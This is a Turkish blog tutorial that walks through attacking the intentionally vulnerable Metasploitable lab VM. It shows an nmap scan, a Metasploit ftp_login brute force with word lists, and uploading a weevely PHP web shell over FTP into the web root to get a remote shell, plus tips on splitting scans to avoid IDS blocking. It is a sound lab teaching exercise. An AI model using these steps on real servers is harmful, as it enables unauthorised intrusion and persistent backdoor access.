Blog

Metasploitable İle Sızma Testleri

Aksam (kısımlar-bölümler) olarak  ele alacağımız metasploitable ile networke sızma testleri gerçekleştireceğiz. Kısımlara ayrılmış yazılarımızda ilk olarak, metasploitable nedir- bunu öğrenip sırasıyla indirilip kurulumunu aşama aşama anlatacağız. Bunun için bize VMWARE sanallaştırma uygulaması ve Kali / Arch veya Blackbox gibi penetration test için içinde araçları barındıran işletim sistemleri gerekecek.  Ben yazı boyunca Kali Linux kullanacağım. Diğer yazılımlar için ürtici linklerini aşağıda veriyorum;

VMWARE ;

http://www.vmware.com/products/workstation.html 

Kali Linux ;

https://www.kali.org/

Metasploitable versiyon 1;

https://www.vulnhub.com/entry/metasploitable-1,28/

Metasploitable giriş aşamasından başlayacağımız için 1. versiyonu indiriyoruz. 2. versiyonu da mevcuttur.

Metasploitable Nedir  ve Nasıl Kurulur ?

İlgili linkler üzerinden VMWare Kali ve Metasploitable indirildiğini ve VMWare ve Kali nin de kurulduğunu varsayarak devam ediyorum. Metasploitable nedir? Linux kernel üzerine yazılmış bir core işletim sistemidir. Üzerine Gui kurulu değildir. İçerisinde sisteme sızılması için pratikte bizlere yardımcı olacak bizatihi kasti zafiyet barındıran yazılımlar ve hizmetler barınmaktadır. Yani ağımızda zafiyet barındıran bir makinaya sızma testi uygulayacağız ve sisteme sızmaya çalışacağız.  Metasploitable zorluk ve çeşitlilik derecesinde yazdığım gibi 2. versiyonu da vardır. Arzu eden bilgisi dahilinde ilerleyen aşamalarda bunları da kurcalayıp test gerçekleştirebilir. -ki ben tavsiye ediyorum. Yazı giriş seviyesi bir konseptte olduğu için çok aşırı ayrıntı gözetmeden okuyanın anlayabileceği bir şekilde sade ve öz biçimde yazacağım.

İlk olarak bizim kolaylık açısından metasploitable makine ile aynı network subneti üzerinde bulunmamız gerekiyor.   Aslında bu sadece localde geçerli olan bir şey.  Serverlar her zaman statik ipye sahiptirler. Yani doğaları gereği böyle olmak zorundadırlar. Bu bir serverın dinamik ipye sahip olamayacağı anlamına gelmez ama kesintisiz hizmet ve hizmette aksamaların olmaması için bu şarttır. Bu serverları clientlardan ayıran farklardan biridir. Bu bilgi aklımızda olsun ve devam edelim. Bir servera veya makinaya sızacaksak bizim dış bacak ipsini bilmemiz yeterli olur. Siber Güvenlik firmaları işlerini genelde daha yakinen ve ayrıntılı yapabilmek için tarama yapılacak şirketlere elemanlarını göndererek oralarda local taramada yaptırırlar. Aynı ağda bulunan pentester ile dışdan saldırı yapan pentesterın avantajları arasında dağlar kadar fark vardır. Neyse biz işimize dönelim.

Benim kali ve metasploitable makinalarım NAT ağına bağlılar. Siz dilerseniz Vm network ayarlarından Bridged veya custom düzenlemeleri yapabilirsiniz. İlk olarak ping atarak işe başlayacağız çünkü iki makinanın bir birini görmesi gerekiyor.

Ping <hedefmakina>

Ping <kalimakina>

Ip adreslerini yazmamız yeterli olacak. Çift taraflı pingleri attıktan sonra başlıyoruz, nmap aracı ile port, servis, yazılım, versiyon ve işletim sistemi taramasına.

Kali makinamın local ipsi : 192.168.206.129

Metasploitable makinasının local ipsi: 192.168.206.136

Bunun için kalide terminal(uçbirim)'e

#> nmap –sV –A –p- 192.168.206.136

Komutunu yazıyoruz.

Burada bir virgül koyup yazdığım parametreleri açıklamak istiyorum.

-sV  açık servislerin versiyon numaralarını sorgular.

-A hedef makinanın hangi işletim sistemi tabanında olduğunu sorgular.

-p- totalde 65535 adet port numarası vardır -p- koyarak hepsini sorgular açık portları listeler.

65535 adet portu taramak haliyle biraz uzun sürer. Bu sizin internet bağlantı hızınıza ve bant genişliğinizin büyüklüğüne göre değişkenlik gösterir. Fakat hedef de belli bir port aralığı taramak istiyorsanız -p- yerine –p1-100 gibi başlangıç ve bitiş aralığını belirterek tarama yapabilirsiniz.

Taramak istediğiniz port ne kadar fazla ise tarama bitiş süresi de doğru orantı da yükselir.

Tarama yaptığınız sunucularda ve ağ yapılarında var olan IDS, IPS , Firewall gibi donanımsal ve yazılımsal güvenlik, tespit ve saldırı önleme sistemleri var ise ve siz de 65 bin küsür portu taramak istiyorsanız size tavsiyem bunu 5-10 parça halinde bölümleyerek yapmanızdır. Aşırı yüklenmeden ve sorgudan dolayı güvenlik araçları sizleri tesbit edip ip adresinizi blocklayabilir. Bu engellemeleri aşmak için sorguları parça parça gönderen başka başka araçlarda vardır. İlerleyen zamanlarda işimiz düşerse onları da tanırız.

Komutu yazdıktan sonra bize karşı bu çıktıyı veriyor.

Title: Resim Ekleniyor...

Çıktıda, açık portlar, portlara bağlı hizmetler, hizmetlerin yazılımsal versiyonları, işletim sistemi isimleri, domain, netbios, organizasyon name gibi bilgiler veriliyor.  Biz bu ilk yazımız da baştan başlayarak 21 - File Transfer Protokol – FTP portu kullanarak sisteme sızacağız. Daha sonra ki yazılarımızda ilerleyerek port hizmetleri ve hizmetlerdeki yazılımları kullanarak da onlar üzerinden hem nasıl sisteme sızıldığını göreceğiz hem de hizmetleri tanıyıp daha başka sızma testleri alanlarına da kapı açacağız.

FTP bilindiği üzere açılımı ve anlamı File Transfer Protokol olan yani Dosya Transfer Protokolüdür. Sunucudan sunucuya veya bilgisayardan bilgisayara dosya transferi yapılmak için var olan bir hizmettir. Bu hizmetlerden yararlanılabilmek için belli başlı yazılımlar kullanılmaktadır. Filezilla, Proftpd gibi bir çok yazılım bu hizmet için vardırlar. Bizim metasploitable makinamızda 21 portunun açık olduğunu görüyoruz. İlk saldırımızı brute force yani kabakuvvet saldırısı ile yapacağız. Bruteforce saldırısı text dosyalarına kaydedilmiş kelimeler ve şifreler ile  deneme yapılarak yapılan bir saldırıdır. Biz metasploit üzerinde yardımcı yazılım olarak ftp_login aracını kullanacağız. Yapmamız gereken şeylerden biri ilk olarak terminalden "postgresql" veritabanı servisini açmamızdır. Bunun için;

#> service postgresql start

Aynı şekilde yazılarımızda metasploit aracının grafik versiyonu olan Armitage aracını da kullanacağımız  için açılış da bazı hatalarla karşılaşmamak için terminal’e

#> msfdb init

Komutunu yazıyoruz. Daha sonra tekrar terminale;

#> msfconsole

Yazarak metasploit'in konsol sürümünü açıyoruz. Ftp_login aracını aramamız için search komutunu kullanacağız.

#> search ftp_login

Komutu ile aracımızı arıyoruz ve biz çıktısı şu oluyor;

Çıktıda ftp_login aracının bulunduğu konumu görebiliriz.  Aracı kullanmak için;

#> use auxiliary/scanner/ftp/ftp_login

Yazıyoruz. Buraya kadar her şey tamam. Sıra text dosyalarını seçmeye geldi. 2 tane text dosyam var. Kadi.txt ve sifreler.txt isminde. Bu dosyaları bu araca tanıtmam için gerekli ayarları yapmam lazım. Bunun için;

#>  show options

Komutu ile ftp_login aracının içerisinde ki ihtiyacımız olan parametrelere ulaşıyoruz.

Title: Resim Ekleniyor...

Burada direk şifre ve kullanıcı adını USERNAME ve PASSWORD parametrelerine atama yaparak girebiliriz. Ama biz şifre ve kullanıcı adını bilmediğimiz için bunun yerine text dosyalarımızın yolunu belirteceğiz. Bunun için ilk olarak ftp makinasının ipsini yazıyoruz;

RHOST :

#> set RHOSTS <hedefip>

( FTP hizmetinin standart portu 21 dir. Fakat bazı sunucularda isteğe göre değiştirilir. Bizde 21 portu açık eğer olmasaydı gireceğimiz komut şu olacaktı:

#> set RPORT <ftpportu>

Kullanıcı adları text:

#> set USER_FILE /usernames.txt

Şifreler için:

#> set PASS_FILE /passwords.txt

Şeklinde yollarımızı belirtip

#> exploit

Komutu ile aracımızı çalıştırıyoruz ve denemelere başlıyoruz.

Bingo!  Başarıyla giriş yapıldığına dair bir bilgilendirme var. Kullanıcı adı şifre msfadmin iymiş.

Şimdi deneyelim bakalım girebilecekmiyiz.

#> ftp <hedefip>

Komutu ile 21 portu üzerine bağlanmayı deniyoruz bizde kullanıcı adı ve şifreyi istiyor. Bilgileri girdikten sonra ftp konsolu açılıyor. Giriş başarılı!

Hemen ls komutu ile dizinde ki var olanları görüyoruz. Vulnerable adında bir klasör var. FTP ye başarıyla sızdık. Şimdi sıra sunucuyu ele geçirmekte. FTP de çalıştırılacak komutları "help" yazarak görebilirsiniz. Biz weevely aracını kullanıp kendimize bir arkakapı açacağız (backdoor). Bunun için gerekli komutumuz;

#> weevely <dosyaadı.php> dosya_sifresi

Burada dikkat etmemiz gereken sunucunun yorumladığı dili bilmektir. Yani söylemek istediğim şu; Sunucuda PHP yorumlayıcı yoksa ise bizim php uzantılı bir backdoor oluşturup ftp üzerinden sunucuya yüklememiz bir işe yaramayacaktır. Aynı şekilde sunucu asp ve ya .net yorumlayabiliyorsa backdoor uzantımız aynı şekilde değişkenlik göstermelidir. Benim sunucum da php yorumlayıcı mevcut olduğundan backdoorum php uzantılı olacaktır.

(Şimdi bazı arkadaşların aklından gelebilir biz backdooru exe oluşturduğumuzda sunucuda çalıştırabilirmiyiz diye. Ftp protokolünüün üzerinden sunucuya yüklenen exe dosyası önce sunucu taraflı çalıştırılması gerekir. Yani karşıda ki bir user olabilir bunu görüp çift tıklayıp açması gerekir. Aynı şekilde makine linux ise exe çalıştıramayız. Bunun için sunucuya saldırmadan önce biraz önbilgi toplamak bizim yararımıza)

Hemen php backdooru oluşturalım ve ftp üzerine transfer edelim.  Backdoor php yi Desktop dizinine oluşturduk ve şifresini cezerisga yaptık.

Şimdi bu dosyayı ftpye transfer edelim. Tekrar ftp ye bağlandığımız konsola geçelim. Ve put komutu ile içeriye dosyamızı transfer edelim. Backdoor php uzantıda olduğundan backdooru tarayıcı üzerinden çagırmak için sunucuda hali hazırda kurulu apache yazılımını kullanarak 80 port üzerinden erişim sağlayacağız. Put komutunda ilk olarak dosyanın yerel konumunu yazıp bitişiğine sunucu üzerinde hangi dizine kopyalanmasını istediğimizi yazacağız.

Komutumuz;

#> put /root/Desktop/backdoor.php /var/www/tikiwiki/backdoor.php

Burada yazdığım komut backdoorun benim bilgisayarımda nerede olduğu ve uzakta ki makinada nerede olacağıdır.

Dosya başarıyla transfer edildi. Şimdi ip adresimin üzerinde 80 portunun açık olduğunu biliyorum. Ve tiwiki adında bir klasör üzerinde dosyamın olduğunu biliyorum. Tarayıcıyı açalım bakalım dosya adrese teslim edilmiş mi.

Boş sayfa döndüğüne göre karşıdan bize bir out yok demektir yani içeride lazım olan php kodları bize karşı tarafta ters bağlantı açmaya kodlandığından dışarı bişey out etmemesi normal. Şimdi reverse bağlantımızı sağlayalım. Weevely üzerine gelip URL ve backdoor da ki oluştururken girdiğimiz şifreyi belirtiyoruz.

Bingo! Artık sunucumuzda bash script üzerine erişip komut çalıştırabiliyoruz. Uname –a komutu sistem tipini versiyonunu vs çektik. Evet bu Aksam da nmap ile port taraması yaptık ve 21 port ftp servisini kendimize hedef seçtik. Login brute force atak ile ftp ye basit şifre denemeler yaptık ve şifreyi bulup ftp üzerine backdoorumuzu atıp ters bağlantı aldık. Bir sonraki aşamada (Aksam da) 80 portu üzerine saldırı yapmayı düşünüyorum. Burada var olan web hizmetlerinin üzerinden bize saldırı kapıları açılabilir ki açılacaktır da, Metasploitable bunun için var.

Yazım ve imla hataları var ise affola.




Yazar Hakkında

Lise son sınıf öğrencisidir, 2010 yılından beri siber güvenlik ile ilgilenmektedir. CSS, PHP, C/C++ dilleri ve Web Penetration Testing ile yakından ilgilenmektedir. Bunlara ek olarak Sistem, Network ve Güvenlik Uzmanlığı eğitimleri almış olan Kelepçe, Bug Bounty Ödül Avcılığı kapsamında birçok tanınmış şirketten ödül almıştır, şuanda bilişim faaliyet topluluklarında Bilgi Güvenliği ve Sızma Testleri işlerini gönüllü olarak yapmaktadır.






Yorum Yapmak İçin Giriş Yapın.